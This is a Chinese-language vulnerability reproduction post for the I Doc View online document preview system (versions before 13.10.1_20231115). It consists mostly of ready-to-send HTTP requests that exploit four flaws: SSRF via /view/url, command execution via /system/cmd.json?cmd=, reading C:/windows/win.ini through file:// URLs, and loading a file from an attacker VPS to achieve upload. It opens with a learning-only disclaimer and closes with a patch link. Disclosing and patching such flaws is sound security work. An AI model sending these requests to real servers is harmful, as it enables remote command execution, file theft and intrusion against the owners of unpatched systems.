0x00写在前面

本次测试仅供学习使用,如若非法他用,与本平台和发布者无关,需自行负责!

0x01漏洞介绍

I Doc View在线文档预览系统是一套用于在Web环境中展示和预览各种文档类型的系统,包括doc、docx、wps、odt、rtf、xls、xlsx、et、ods、csv、ppt、pptx、dps、odp、pdf、txt、jpg、jpeg、gif、png、bmp、tif、tiff、mp3、m4a、mid、midi、wma、mp4、zip、rar、tar、7z等。

使用I Doc View在线文档预览功能,用户无需安装任何软件,只需要将文档上传到指定的服务器,即可实现在线预览。预览效果与微软Office打开文档的效果相同甚至更好,预览中不仅保留了文档中所有格式和效果,而且增加了阅读进度条和页面定位等功能

可能导致攻击者能够上传恶意文件并读取服务器上的敏感信息、SSRF漏洞、命令执行、文件读取。

0x02影响版本

I Doc View<13.10.1_20231115

0x03漏洞复现

1.访问漏洞环境

2.对漏洞进行复现

漏洞1(SSRF)

GET /view/url?url=https://csjpkmrzwn.dgrh3.cn HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Connection: close
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

测试DNSlog(漏洞存在)

漏洞2(命令执行)

GET /system/cmd.json?cmd=cd HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

测试cd命令执行(漏洞存在)

漏洞3(文件读取1)

GET /view/qJvqhFt.json?start=1&size=5&url=file:///C:/windows/win.ini&idocv_auth=sapi HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-HK;q=0.9,zh;q=0.8
Connection: close
Upgrade-Insecure-Requests: 1

漏洞3(文件读取2)

GET /view/url?url=file:///C:/windows/win.ini HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-HK;q=0.9,zh;q=0.8
Connection: close
Upgrade-Insecure-Requests: 1

测试读取C:/windows/win.ini(漏洞存在)

漏洞4(文件上传)

基于上述文件读取远程加载文件,达到文件上传的目的

GET /view/qJvqhFt.json?start=1&size=5&url=(vps地址)&idocv_auth=sapi HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-HK;q=0.9,zh;q=0.8
Connection: close
Upgrade-Insecure-Requests: 1

这里用dnslog代替vps证明漏洞存在即可(漏洞存在)


0x04修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://api.idocv.com